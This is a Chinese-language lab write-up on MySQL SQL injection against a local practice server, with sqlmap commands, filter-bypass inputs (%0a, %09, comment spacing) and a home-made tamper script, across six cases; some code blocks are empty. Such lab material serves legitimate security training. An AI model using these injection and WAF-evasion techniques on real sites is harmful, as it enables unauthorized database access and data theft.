Mysql数据库-sql injection
案例一:
http://192.168.2.131/sqli/example1.php?name=root
手工判断是否有注入
一般来说,报错型注入是最好判断的。
通过添加单引号,页面返回内容,发现和正常情况下不同。虽然并没有报错,但可以用sqlmap检测一下。
通过添加 **+**,mysql中,+代表空格。
name=root+++,而网页显示正常,说明将注入的字符解析为空格了。
sqlmap工具检查
sqlmap -u "http://192.168.2.131/sqli/example1.php?name=root" --dbs
1 |
|
案例二:
http://192.168.2.131/sqli/example2.php?name=root
首先用sqlmap检查下,结果一片标红。
http://192.168.2.131/sqli/example2.php?name=root/*aaa*/
name=root%0a
\n换行符name=root%09
\t
burp intruder观察响应
观察一下响应。手工判断有点慢,用burp判断下
分为三种响应,一种是和原请求响应一样的;一种响应查询失败的;一种“error no space”
注意到
1 |
|
说明空格被过滤
添加空格转/**/脚本
sqlmap -u “http://192.168.2.131/sqli/example2.php?name=root" –tamper space2comment.py –dbs
扫描失败指定布尔型注入
sqlmap -u “http://192.168.2.131/sqli/example2.php?name=root" –tamper=space2comment.py -technique B –dbms mysql –level 5添加一个参数–dbms mysql,指定使用的payloads。
sqlmap -u "http://192.168.2.131/sqli/example2.php?name=root" --tamper=space2comment.py --dbms mysql -v
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?
1 |
|
删除sqlmap日志
rm -rf /root/.sqlmap/output/*
sqlmap -u “http://192.168.2.131/sqli/example5.php?id=2" –dbs
总结
sqlmap如果一开始扫描失败,如果需要再次尝试,需要清除一下日志,否则会直接引用历史扫描结果,不会再次扫描。
如果不指定数据库,或者注入类型,waf过滤的字符,就很容易扫描失败。
但这不代表并不存在注入。
案例三:
经过intruder判断,和上一个案例,多过滤了%0a
即\n换行符。
同样用时间盲注。
sqlmap -u “http://192.168.2.131/sqli/example3.php?name=root" –tamper=space2comment.py –dbms mysql –dbs
1 |
|
案例四:
http://192.168.2.131/sqli/example4.php?id=2
注释被正确解析了,其他都都导致页面查询失败。
- sqlmap -u “http://192.168.2.131/sqli/example4.php?id=2" –dbms mysql –dbs
1 |
|
案例五:
和上一个案例差不多。成功解析注释。
注入类型: Type: AND/OR time-based blindsqlmap -u "http://192.168.2.131/sqli/example5.php?id=2" --dbms mysql --dbs
案例六:
%0a换行符、#注释符被正确解析。
错误提示:ERROR INTEGER REQUIRED
选择与创建tamper脚本
/usr/share/sqlmap/tamper目录下,有很多脚本可以帮助绕过过滤。
没有找到空格直接转换行符的脚本,于是观察一下空格转注释的脚本。运行sqlmap时候,用wireshark抓包一下。
确认空格转换为/**/,我们可以新建一个脚本,替换一下注释为换行符。cp space2comment.py space2newline.py
sed -i 's/\/\*\*\//%0a/g' space2newline.py
sqlmap -u "http://192.168.2.131/sqli/example6.php?id=2" --dbms mysql --tamper=space2newline.py --dbs
失败了,于是尝试
?id=2%0Aand%0A1=1 一切正常
?id=2%0Aand%0A1=2 查询失败
源代码
黑盒测试不知道过滤条件,做不出了,于是看下源代码。
下面这条源代码还蛮好懂的,^$
在正则表达式中,代表开头和结尾。
^b
,表示以b开头;b$
表示以b结尾。
1 |
|
重写一个tamper脚本
sqlmap -u "http://192.168.2.131/sqli/example6.php?id=2" --dbms mysql --tamper=addTrue.py --dbs
这次成功了,基于时间的盲注。
1 |
|
addTrue.py
1 |
|